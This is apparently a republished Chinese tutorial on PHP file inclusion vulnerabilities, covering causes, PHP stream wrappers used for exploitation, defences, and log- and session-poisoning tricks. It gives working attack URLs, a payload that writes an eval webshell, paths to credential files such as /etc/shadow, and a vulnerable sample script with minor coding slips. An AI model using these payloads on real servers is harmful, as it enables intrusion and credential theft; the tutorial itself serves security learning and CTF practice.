目錄
1.什么是文件包含漏洞
2.產(chǎn)生原因
3.文件包含的類(lèi)型
3.1本地文件包含
3.2遠(yuǎn)程文件包含
4.攻擊利用手法
4.1 file:協(xié)議
4.2 php://協(xié)議
?4.3 zip://,bzip2://,zlib://協(xié)議?
4.4 data://協(xié)議
4.5 PHP偽協(xié)議總結(jié)?
5.如何防御?
6.常見(jiàn)系統(tǒng)的默認(rèn)路徑
7.文件包含漏洞的奇技淫巧
LFI+日志文件getshell
配合文件上傳漏洞
配合路徑遍歷漏洞
配合session文件
配合SSH日志
配合運(yùn)行環(huán)境
1.什么是文件包含漏洞
想要了解文件包含漏洞,我們首先需要了解一下什么是文件包含?
后端編程人員一般會(huì)把重復(fù)使用的函數(shù)寫(xiě)到單個(gè)文件中,需要使用時(shí)再直接調(diào)用此文件即可,該過(guò)程就被稱(chēng)為文件包含。
文件包含(File Inclusion)是一些對(duì)文件操作的函數(shù)未經(jīng)過(guò)有效過(guò)濾,運(yùn)行了惡意傳入的非預(yù)期的文件路徑,導(dǎo)致敏感信息泄露或代碼執(zhí)行。如果文件中存在惡意代碼,無(wú)論什么樣的后綴類(lèi)型,文件內(nèi)的惡意代碼都會(huì)以當(dāng)前服務(wù)器的腳本語(yǔ)言所執(zhí)行,這就導(dǎo)致了文件包含漏洞的產(chǎn)生。
隨著網(wǎng)站的業(yè)務(wù)的需求,程序開(kāi)發(fā)人員一般希望代碼更加靈活,所以將被包含的文件設(shè)置為變量,用來(lái)進(jìn)行動(dòng)態(tài)調(diào)用,但是正是這種靈活性通過(guò)動(dòng)態(tài)變量的方式引入需要包含的文件時(shí),用戶對(duì)這個(gè)變量可控而且服務(wù)端又沒(méi)有做合理的校檢或者校檢被繞過(guò)就造成了文件包含漏洞。
2.產(chǎn)生原因
文件包含的存在使得開(kāi)發(fā)變得更加靈活和方便,但同時(shí)也帶了安全問(wèn)題,導(dǎo)致客戶端可以遠(yuǎn)程調(diào)用文件,造成文件包含漏洞。
實(shí)際上被包含文件可以是任意格式的,可以是圖片、文本、源代碼等等。只要文件被包含其內(nèi)容也會(huì)被包含,并以當(dāng)前服務(wù)器腳本語(yǔ)言執(zhí)行。
大多數(shù)Web語(yǔ)言都支持文件包含操作,其中PHP語(yǔ)言所提供的文件包含功能太強(qiáng)大、太靈活,也就導(dǎo)致文件包含漏洞經(jīng)常出現(xiàn)在PHP語(yǔ)言中。這里就以PHP語(yǔ)言為例,需要打開(kāi)一下配置allow_url_fopen=On(默認(rèn)為On)
?規(guī)定是否允許從遠(yuǎn)程服務(wù)器或者網(wǎng)站檢索數(shù)據(jù)。allow_url_include=On(php5.2之后默認(rèn)為Off)
?規(guī)定是否允許include/require遠(yuǎn)程文件。
PHP提供的可以文件包含的四個(gè)函數(shù):
include():當(dāng)使用該函數(shù)包含文件時(shí),只有代碼執(zhí)行到include()函數(shù)時(shí)才將文件包含進(jìn)來(lái),發(fā)生錯(cuò)誤時(shí)只給出一個(gè)警告(E_WARNING),繼續(xù)向下執(zhí)行;
include_once()功能與include()相同,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時(shí),程序只調(diào)用一次;
require()與include()的區(qū)別在于require()執(zhí)行如果發(fā)生錯(cuò)誤(E_COMPILE_ERROR),函數(shù)會(huì)輸出錯(cuò)誤信息,并終止腳本的運(yùn)行。
require_once()功能與require()相同,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時(shí),程序只調(diào)用一次。
nighcight_file()、show_source()函數(shù)對(duì)文件進(jìn)行語(yǔ)法高亮顯示,通常能看到源代碼。
readfile()、file_get_contents()函數(shù)讀取一個(gè)文件,并寫(xiě)入輸出緩沖。
fopen()函數(shù)打開(kāi)一個(gè)文件或者url。
3.文件包含的類(lèi)型
文件包含漏洞分為本地文件包含(Loacl File Inclusion,LFI)和遠(yuǎn)程文件包含(Remote File Inclusion,RFI)兩種。攻擊者通過(guò)文件包含漏洞可以讀取系統(tǒng)中的敏感文件,還有可能導(dǎo)致任意代碼執(zhí)行漏洞。
3.1本地文件包含
本地文件包含漏洞指的是能打開(kāi)并包含本地文件的漏洞,大部分情況下遇到的文件包含漏洞都是LFI,簡(jiǎn)單的測(cè)試用例如下所示。
<?php
$filename = $_GET['file'];
if(isset($file)){
include("$file");
}else{
echo "file not found!";
}
?>
3.2遠(yuǎn)程文件包含
遠(yuǎn)程文件包含漏洞是指能夠包含遠(yuǎn)程服務(wù)器上的文件并執(zhí)行。由于遠(yuǎn)程服務(wù)器的文件是我們可控的,因此漏洞一旦存在危害性會(huì)很大。
該類(lèi)型需要當(dāng)目標(biāo)服務(wù)器開(kāi)啟一定配置時(shí)才可以使用,當(dāng)php.ini中的配置選項(xiàng)allow_url_fopen=on、allow_url_include=on
4.攻擊利用手法
4.1 file:協(xié)議
PHP.ini:
file:// 協(xié)議在雙off的情況下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
file:// 用于訪問(wèn)本地文件系統(tǒng),在CTF中通常用來(lái)讀取本地文件的且不受allow_url_fopen與allow_url_include的影響
file:// [文件的絕對(duì)路徑和文件名]
http://127.0.0.1/cmd.php?file=file://D:/software/phpStudy/WWW/phpinfo.txt
phpinfo.txt文件內(nèi)容:
<?php phpinfo(); ?>
4.2 php://協(xié)議
條件:
不需要開(kāi)啟allow_url_fopen,僅php://input、 php://stdin、 php://memory 和 php://temp 需要開(kāi)啟allow_url_include。
php:// 訪問(wèn)各個(gè)輸入/輸出流(I/O streams),在CTF中經(jīng)常使用的是php://filter和php://input,php://filter用于讀取源碼,php://input用于執(zhí)行php代碼。
參考自:PHP: php:// - Manual
php://filter 讀取源代碼并進(jìn)行base64編碼輸出,不然會(huì)直接當(dāng)做php代碼執(zhí)行就看不到源代碼內(nèi)容了。
PHP.ini:
php://filter在雙off的情況下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
測(cè)試現(xiàn)象:
http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php
php://input 可以訪問(wèn)請(qǐng)求的原始數(shù)據(jù)的只讀流, 將post請(qǐng)求中的數(shù)據(jù)作為PHP代碼執(zhí)行。
PHP.ini:
allow_url_fopen :off/on
allow_url_include:on
測(cè)試現(xiàn)象:
http://127.0.0.1/cmd.php?file=php://input
[POST DATA] <?php phpinfo()?>
也可以POST如下內(nèi)容生成一句話: <?php fputs(fopen(“shell.php”,”w”),’<?php eval($_POST["cmd"];?>’);?>
4.3 zip://,bzip2://,zlib://協(xié)議?
PHP.ini:
zip://, bzip2://, zlib://協(xié)議在雙off的情況下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on
zip://, bzip2://, zlib:// 均屬于壓縮流,可以訪問(wèn)壓縮文件中的子文件,更重要的是不需要指定后綴名。
參考自:PHP: zlib:// - Manual
?4.3.1 zip://協(xié)議
zip://archive.zip#dir/file.txt
zip:// [壓縮文件絕對(duì)路徑]#[壓縮文件內(nèi)的子文件名]
測(cè)試現(xiàn)象:
http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt
先將要執(zhí)行的PHP代碼寫(xiě)好文件名為phpcode.txt,將phpcode.txt進(jìn)行zip壓縮,壓縮文件名為file.zip,如果可以上傳zip文件便直接上傳,若不能便將file.zip重命名為file.jpg后在上傳,其他幾種壓縮格式也可以這樣操作。
由于#在get請(qǐng)求中會(huì)將后面的參數(shù)忽略所以使用get請(qǐng)求時(shí)候應(yīng)進(jìn)行url編碼為%23,且此處經(jīng)過(guò)測(cè)試相對(duì)路徑是不可行,所以只能用絕對(duì)路徑。
?4.3.2 bzip2://協(xié)議
使用方法:
compress.bzip2://file.bz2
測(cè)試現(xiàn)象:
http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg
4.3.3 zlib://協(xié)議
使用方法:
compress.zlib://file.gz
測(cè)試現(xiàn)象:
http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg
?4.4 data://協(xié)議
經(jīng)過(guò)測(cè)試官方文檔上存在一處問(wèn)題,經(jīng)過(guò)測(cè)試PHP版本5.2,5.3,5.5,7.0;data:// 協(xié)議是是受限于allow_url_fopen的,官方文檔上給出的是NO,所以要使用data://協(xié)議需要滿足雙on條件
PHP.ini:
data://協(xié)議必須雙在on才能正常使用;
allow_url_fopen :on
allow_url_include:on
參考自:PHP: data:// - Manual, 官方文檔上allow_url_fopen應(yīng)為yes。
測(cè)試現(xiàn)象:
http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>
or
http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
也可以:
http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>
or
http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
4.5 PHP偽協(xié)議總結(jié)?
PHP封裝協(xié)議在CTF蠻常見(jiàn)的,是經(jīng)常會(huì)遇到的出題點(diǎn),如下便是對(duì)本篇涉及的封裝協(xié)議進(jìn)行的總結(jié),期待小伙伴的交流和補(bǔ)充。
上述中,php://filter,php://input,zip://這三個(gè)用的最多,就像data需要同時(shí)為on,條件太苛刻,幾乎遇不到 。?
5.如何防御?
1、訪問(wèn)路徑限制
PHP中使用open_basedir
配置限制訪問(wèn)在指定的區(qū)域,限制被包含的文件只能是某一文件夾內(nèi)。
2、過(guò)濾輸入
過(guò)濾.
(點(diǎn))/
(反斜杠)\
(反斜杠)等特殊字符,禁止目錄跳轉(zhuǎn)字符如../
。
3、關(guān)閉高危配置
PHP文件配置allow_url_include
和allow_url_fopen
最小權(quán)限化。
4、白名單 對(duì)需要包含的文件設(shè)置文件白名單,包含文件的驗(yàn)證。
5、避免參數(shù)
盡量不要使用動(dòng)態(tài)包含,可以在需要包含的頁(yè)面固定寫(xiě)好。
6.常見(jiàn)系統(tǒng)的默認(rèn)路徑
c:\boot.ini //查看系統(tǒng)版本
c:\windows\repair\sam //存儲(chǔ)Windows系統(tǒng)初次安裝的密碼
c:\windows\win.ini
/etc/passwd //賬戶信息
/etc/shadow //賬戶密碼文件
/var/lib/php/sess_PHPSESSID? //存儲(chǔ)session文件
7.文件包含漏洞的奇技淫巧
LFI+日志文件getshell
日志文件往往會(huì)包含我們的請(qǐng)求記錄,如果我們知道日志的文件位置,那么我們就可以將惡意的php代碼寫(xiě)入到日志中,然后再通過(guò)文件包含漏洞就可以執(zhí)行相關(guān)的代碼。
很多時(shí)候,web服務(wù)器會(huì)將請(qǐng)求寫(xiě)入到日志文件中,比如說(shuō)apache。在用戶發(fā)起請(qǐng)求時(shí),會(huì)將請(qǐng)求寫(xiě)入access.log,當(dāng)發(fā)生錯(cuò)誤時(shí)將錯(cuò)誤寫(xiě)入error.log。默認(rèn)情況下,日志保存路徑在 /var/log/apache2/。
配合文件上傳漏洞
一般情況下,文件包含漏洞配合文件上傳漏洞使用更佳。利用文件上傳漏洞,將木馬文件上傳到相關(guān)目錄下,再通過(guò)文件包含漏洞執(zhí)行該木馬。
配合路徑遍歷漏洞
一般情況下,通過(guò)路徑遍歷直接包含所要查看的文件。
配合session文件
php的session文件的保存路徑可以在phpinfo的session.save_path看到。
常見(jiàn)存放位置:
- /var/lib/php/sess_PHPSESSID
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
session的文件名格式為sess_[phpsessid]。而phpsessid在發(fā)送的請(qǐng)求的cookie字段中可以看到。
配合SSH日志
使用ssh -pssh端口 '<?php phpinfo(); ?>'@ip地址
將惡意代碼注入日志中,然后可包含該日志文件。
默認(rèn)情況下為/var/log/auth.log
文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-465792.html
配合運(yùn)行環(huán)境
php以cgi方式運(yùn)行,這樣environ才會(huì)保持UA頭。environ文件存儲(chǔ)位置已知且environ文件可讀,/proc/self/environ
。文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-465792.html
GET /index.php?file=../../../../proc/self/environ HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 <?phpinfo();?> Connection: close
到了這里,關(guān)于【web安全】文件包含漏洞的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!